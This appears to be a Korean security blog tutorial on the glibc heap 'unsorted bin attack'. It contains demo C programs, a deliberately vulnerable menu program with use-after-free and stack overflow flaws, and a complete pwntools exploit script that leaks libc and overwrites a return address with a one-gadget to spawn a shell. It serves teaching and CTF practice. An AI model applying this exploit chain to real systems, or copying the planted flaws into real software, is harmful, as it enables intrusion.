Pwnable/Techniques

Unosrted bin attack

Anatis 2021. 3. 3. 17:50

unsorted bin attack은 해제된 청크의 BK 포인터를 조작할 수 있을 때, 임의 주소에 main_arena 영역의 주소를 쓸 수 있는 공격 기법이다. 

 

쓰여지는 값은 주로 특정 버퍼의 사이즈를 덮는 등 추가적인 공격을 연계하기 위해 사용된다.

 

unsorted bin은 크기에 상관없이 청크의 재할당을 위해 사용되는 bin이다.

fastbin의 크기가 아닌 청크를 처음 해제하면, FD, BK 영역에 main_arena 영역의 주소가 써진다.

 

같은 크기로 힙을 할당하면 해당 포인터의 FD를 찾아 해당 주소에 재할당 한다.

 

unsortedbin1.c

// gcc -o unsortedbin1 unsortedbin1.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    char *ptr = malloc(0x100);
    char *ptr2 = malloc(0x100);

    free(ptr);  // ptr == unsorted bin
    char *ptr3 = malloc(0x100);
}

위 코드는 256 바이트의 힙을 할당하고, 해제한 후 같은 크기로 할당하는 코드이다.

 

이후 malloc 함수가 호출되면 0x602000 주소에 힙을 재사용한다. 해당 포인터를 조작하면 원하는 주소 + 0x10 위치에 힙을 할당할 수 있게 된다.

 

_int_malloc

/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M)          (bin_at (M, 1))

for (;; )
{
    int iters = 0;
    while (( victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
    {
    	bck = victim->bk;
    	...
    	
        bck->fd = unsorted_chunks (av);
    }
}

unsortedbin을 처리하는 코드이다.

 

victim은 main_arena.bins 첫 번째에 존재하는 unsorted bin 위치에있는 포인터의 BK 값을 저장하고, bck 변수는 victim의 BK 값을 저장한다. 그리고 bck->fd에 unsorted bin 주소가 저장된다.

 

unsortedbin1.c 코드로 한번 확인해 보자.

main_arena.bins[0] 위치는 unsorted bin 이다. 해당 bin에는 해제된 영역인 0x602000 주소가 저장되어 있다.

 

victim = unsorted_chunks (av)->bk

victim = 0x7ffff7dd1b78

 

bck = victim->bk

bck = 0x602000

 

bck->fd = unsorted_chunks (av)

bck->fd는 [0x602000 + 0x10]과 동일하다.

즉 victim을 수정할 수 있다면, 원하는 주소에 unsorted_chunks인 main_arena 영역의 주소를 쓸 수 있다.

 

 

unsortedbin2.c

#include <stdio.h>
#include <stdlib.h>

#define ALLOC_SIZE 0x410

long target;

int main()
{
    fprintf(stderr, "target : 0x%lx\n", target);

    long *ptr = malloc(ALLOC_SIZE);
    malloc(ALLOC_SIZE);

    free(ptr);

    ptr[1] = (long)&target - 16;

    malloc(ALLOC_SIZE);
    
    fprintf(stderr, "target : 0x%lx\n", target);
}

위 코드는 0x410 크기의 힙을 할당하고 해제하여 unsorted bin에 들어가게 한다. unsorted bin이 된 힙 청크의 BK를 &target - 16 주소로 조작하고 같은 크기로 할당하여 target 전역변수에 main_arena 영역의 주소를 쓰는 예제이다.

 

ptr이 해제되고 BK를 &target - 16으로 조작한 모습이다.

 

이후 같은 크기로 할당하면 target 전역 변수에 main_arena 영역의 주소가 쓰이는 것을 확일할 수 있다.

 

unsorted.c

// gcc -o unsorted unsorted.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];
int main()
{
    char buf[256];
    char *ptr[10];
    int ch, idx;
    int i = 0;

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);

    while(1)
    {
        printf("> ");
        scanf("%d", &ch);
        switch(ch)
        {
            case 1:
                if(i >= 10)
                {
                    printf("Do not overflow\n");
                    exit(0);
                }
                ptr[i] = malloc(0x100);
                printf("Data: ");
                read(0, ptr[i], 0x100);
                i++;
                break;
            
            case 2:
                printf("idx: ");
                scanf("%d", &idx);
                free(ptr[idx]);
                break;
            
            case 3:
                printf("idx: ");
                scanf("%d", &idx);
                printf("data: ");
                read(0, ptr[idx], 0x100);
                break;
            
            case 4:
                printf("Name: %s\n", name);
                break;
            
            case 5:
                read(0, buf, 300);
                return 0;
            
            default:
                break;
        }
    }
    return 0;
}

 

위 코드의 익스 시나리오

 

1. 해제한 포인터를 초기화하지 않기 때문에 해제된 힙의 BK를 수정할 수 있다. 그리고 PIE 보호 기법이 적용되어 있지 않아 name 전역 변수의 주소를 알 수 있다.

 

2.  unsorted bin attack으로 unsorted_chunks 즉, main_arena 영역의 주소를 name 전역 변수에 쓸 수 있게 되고, 4번 메뉴를 통해 변수를 출력해주기 때문에 라이브러리 주소를 알 수 있다.

 

3. 5번 메뉴를 통해 스택 버퍼 오버플로우가 일어나므로 리턴 주소를 원샷 가젯으로 덮어써 셸을 획득할 수 있다.

 

위 코드의 BK를 name-0x10 주소로 조작해 다음 할당 시 name 전역 변수에 unsorted_chunks 주소가 써지게된다.

보면 첫 번째 영역의 힙의 BK에 name-0x10으로 조작된 것을 볼 수 있다.

힙을 다시 할당하자 name 전역 변수에 unsorted_chunks 주소가 써졌다. 이제 4번 메뉴를 통해 main_arena 영역의 주소를 획득하고 라이브러리 주소로 원샷 가젯의 주소를 알아낸뒤 5번 메뉴의 스택 버퍼 오버플로우를 통해 리턴 주소를 원샷 가젯으로 주족하여 셸을 획들할 수 있다.

 

unsorted.py

from pwn import *

p = process('./unsorted')
elf = ELF('./unsorted')

def add(data):
    print p.sendlineafter('>', '1')
    print p.sendlineafter(':', str(data))

def free(idx):
    print p.sendlineafter('>', '2')
    print p.sendlineafter(':', str(idx))

def edit(idx, data):
    print p.sendlineafter('>', '3')
    print p.sendlineafter(':', str(idx))
    print p.sendlineafter(':', str(data))

def print_name():
    print p.sendlineafter('>', '4')

def overflow(data):
    print p.sendlineafter('>', '5')
    print p.sendlineafter('', str(data))

name = elf.symbols['name']

add('AAAA') # 0
add('AAAA') # 1

free(0)

edit(0, 'A'*8 + p64(name - 0x10))    # bk overwrite

add('AAAA')

print_name()

print p.recvuntil('Name: ')
unsorted_chunks = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsorted_chunks - 0x3c4b78
oneshot = libc_base + 0xf1207
log.info('unsorted_chunks = ' + hex(unsorted_chunks))
log.info('libc_base = ' + hex(libc_base))

payload = 'A'*280
payload += p64(oneshot)

overflow(payload)

p.interactive()